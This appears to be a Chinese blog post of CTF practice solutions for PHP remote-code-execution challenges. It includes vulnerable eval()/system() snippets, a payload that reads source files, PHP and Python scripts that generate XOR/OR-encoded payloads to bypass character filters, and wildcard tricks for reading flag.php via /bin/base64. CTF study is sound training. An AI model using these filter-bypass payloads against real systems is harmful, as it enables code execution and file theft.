首页 > 编程语言 >PHP练习

PHP练习

时间:2023-06-22 23:33:32浏览次数:39  
标签:bin __ base64 练习 数组 import PHP 指针

题目一:

40

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
?>
  • each() 返回数组中当前的键/值对并将数组指针向前移动一步
  • end() 将数组的内部指针指向最后一个单元
  • next() 将数组中的内部指针向前移动一位
  • prev() 将数组中的内部指针倒回一位
  • array_reverse() 以相反的元素顺序返回数组key=>value value=>key
  • localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
  • pos():返回数组中当前元素的值
  • scandir():获取目录下的文件
  • array_reverse():将数组逆序排列
  • next():函数将内部指针指向下一元素,并输出
  • print_r(scandir(‘.’)); 查看当前目录下的所有文件名
  • current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

highlight_file()

highlight_file(next(array_reverse(scandir(dirname(__FILE__)))))

题目二:

41

<?php

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

生成字典脚本:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }

}

generate(2,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');

或应用脚本:

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

题目三

55(无字母)

<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

/bin目录

bin为binary的简写主要放置一些 系统的必备执行档
例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

/usr/bin目录

主要放置一些应用软件工具的必备执行档
例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、
ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

标签:bin,__,base64,练习,数组,import,PHP,指针
From: https://blog.51cto.com/u_15964895/6536097

相关文章

  • 【web开发】PHP字符串之字符串输出及格式化输出
    前言上一篇文章我们介绍到PHP的字符串有很多相关的处理函数,今天就先来详细介绍PHP字符串相关的输出函数以及格式化输出函数。在web的开发中,网页上大部分内容显示的都是文字或者图片,且文字居多。所以在实际开发中,对字符的处理和展示是最多。如果按用户的需求通过PHP动态输出这些文字......
  • python练习-爬虫
    场景:1、网址hppt://xxx.yyy.zzz.cn2、打开网页后显示:  3、填上姓名身份证和验证码,点击查询后,返回查询结果。 4、页面有cookie。方案一:程序中嵌入浏览器根据网址打开得到页面,然后程序读取记录自动填写数据,程序截取验证码图片,然后解析,并且填入验证码然后程序点击查......
  • matlab练习程序(无迹变换)
    当数据通过非线性函数后,分布不再是高斯分布时,可以用无迹变换估计新数据的均值与方差。算法原理就是在原始数据均值周围根据方差选取一些待使用点,然后将这些点通过非线性函数,再通过加权平均的方式求出新分布的均值与方差。如果我们选取的点非常多,并且将这些点都通过非线性函数,再......
  • 【web开发】PHP中的字符串的基本操作及特点详解
    前言字符串几乎在所有编程语言都存在的一种数据类型,也是PHP中最重要的一种数据类型之一,更是日常开发中使用最多的一种数据类型。在web开发中,很多情况下需要对字符串进行处理和分析,这通常涉及字符串的格式化、连接与分割,比较、查找,翻转等等一系列操作。用户和系统的交互也基本上是通......
  • 打开PHP和Apache的错误提示
    如果使用PHP+Apache,在缺省设置下,PHP编码错误是不会提示的,这对于开发来说,是很不方便的。可以使用以下步骤打开出错提示:1.打开php.ini文件。以我的ubuntu为例,这个文件在:/etc/php5/apache2目录下。2.搜索并修改下行,把Off值改成Ondisplay_errors=Off3.搜索下行error_reporting......
  • PHP的bool值
    PHP中,当其他类型变量转换为boolean时,以下值被认为是FALSE:布尔值FALSE自身;整型值0(零);浮点型值0.0(零);空字符串(""),以及字符串("0");不包括任何元素的数组;不包括任何成员变量的对象(仅PHP4.0适用);特殊类型NULL(包括尚未设定的变量);从没有任何标记(tags)的......
  • PHP函数或者变量前增加@的用途
    在变量或函数前使用@修饰符可以隐藏警告,而该警告可能指示了一个编程错误,所以使用时要小心。通过使用@修饰符,可以把这个代码写得更简洁。这样可以避免显示在未定义变量上使用自增操作符(++)可能带来的警告。如果使用自增操作符时变量未定义,将声明一个值为0的新变量,并产生一个警告。......
  • 使用XDebug进行PHP调试
    步骤1、获取Xdebug,下载地址,根据你的操作系统情况,选择合适的下载:http://xdebug.org/download.php 假设下载后的文件为:php_xdebug.dll 2、加载PHP的这个插件以WAMPSERVER为例,我是把它装在D:\wamp\目录下,我就需要把php_xdebug.dll文件拷贝到D:\wamp\bin\php\php5.3.0\ext......
  • SQL基础命令练习
     1.创建一个名为`mydb`的数据库2.在`mydb`数据库中创建一个名为`users`的表,包含以下字段:`id`(主键,自增长),`name`(字符串,非空),`age`(整数),`gender`(字符串)3.向`users`表中插入一条记录,姓名为`Tom`,年龄为`25`,性别为`男`4.查询`users`表中所有记录5.将`users`表......
  • thinkphp5.1 钩子使用技巧
    钩子使用的两种方法监听钩子行为Hook::listen('钩子名称','参数','是否只有一次有效返回值');还有给行为绑定钩子Hook::add('app_init','app\\index\\behavior\\CheckLang');第一种:直接执行行为//执行app\index\behavior\CheckAuth行为类的run方法并引用传入params参......